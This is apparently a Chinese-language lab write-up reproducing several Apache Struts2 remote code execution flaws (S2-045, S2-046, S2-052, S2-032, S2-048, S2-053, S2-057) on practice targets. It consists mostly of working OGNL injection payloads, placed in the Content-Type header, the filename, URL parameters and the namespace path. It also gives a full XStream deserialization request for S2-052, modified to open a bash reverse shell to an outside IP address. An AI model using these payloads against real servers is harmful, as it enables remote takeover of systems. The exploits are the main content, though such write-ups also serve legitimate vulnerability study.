S2-045
这个是一个rce 漏洞
0x00
![image-20240210215034104](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210215034104.png)
这是一个模拟的上传文件的一个页面
尝试上传文件,然后抓包
![image-20240210215148081](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210215148081.png)
修改content-type
1
| Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
|
注意这个是一行
![image-20240210215442544](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210215442544.png)
发现顺利的返回结果
S2_046
![image-20240210215654668](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210215654668.png)
0x00
还是一样模仿的一个文件上传的界面
和上面的那个一样的,只是利用的地方不一样而已
还是抓包,然后修改filename
![image-20240210220414316](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210220414316.png)
发现利用成功
然后将 filename 修改为
1
| %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
|
![image-20240210220612371](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210220612371.png)
注意使用00截断一下
![image-20240210220843498](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210220843498.png)
发现利用成功
S2_052
由于线上的靶场开启的速度太慢了,所以还是使用本地的
0x00
![image-20240210221708111](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210221708111.png)
发现这个
0x01
直接使用payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| POST /orders/3 HTTP/1.1 Host: 120.26.80.77:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/xml Content-Length: 2063
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/success</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
|
注意修改host
然后注意修改command 部分
1 2 3 4 5
| <command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/8.219.161.88/9090 0>&1</string> </command>
|
kali 模拟vps 监听端口
然后发送数据包
![image-20240210222300007](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210222300007.png)
利用成功
S2-032
0x00
使用Struts2Scan搜索存在什么漏洞
![image-20240210222723131](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210222723131.png)
发现存在032漏洞
0x01
尝试利用
payload
1
| ?method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoami
|
![image-20240210222945072](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210222945072.png)
利用成功
S2-048
使用脚本跑,发现不存在该漏洞…
就假装通过扫描器,我知道存在这个漏洞
0x00
![image-20240210223829532](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210223829532.png)
使用payload
1
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
|
1
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
![image-20240210223952438](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210223952438.png)
依次填入
![image-20240210224020375](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210224020375.png)
成功执行命令
S2-053
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
![image-20240210225959509](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210225959509.png)
还是没有被检测出来
0x00
访问路径
http://192.168.79.128:8080/hello.action
![](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/20240210230151.png)
然后使用payload
1 2
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
|
注意有一个空行
![image-20240210230317175](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210230317175.png)
S2-057
这个相对于前面的来说比较艰难
当Struts2的配置满足以下条件时:
alwaysSelectFullNamespace值为true
action元素未设置namespace属性,或使用了通配符
namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
0x00
payload
2.3.20 版本
1
| /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
|
2.3.34 版本
1
| /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
|
漏洞验证,使用脚本发现还是没有扫描出漏洞
直接使用脚本,然后
![image-20240210230819514](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240210230819514.png)
复现成功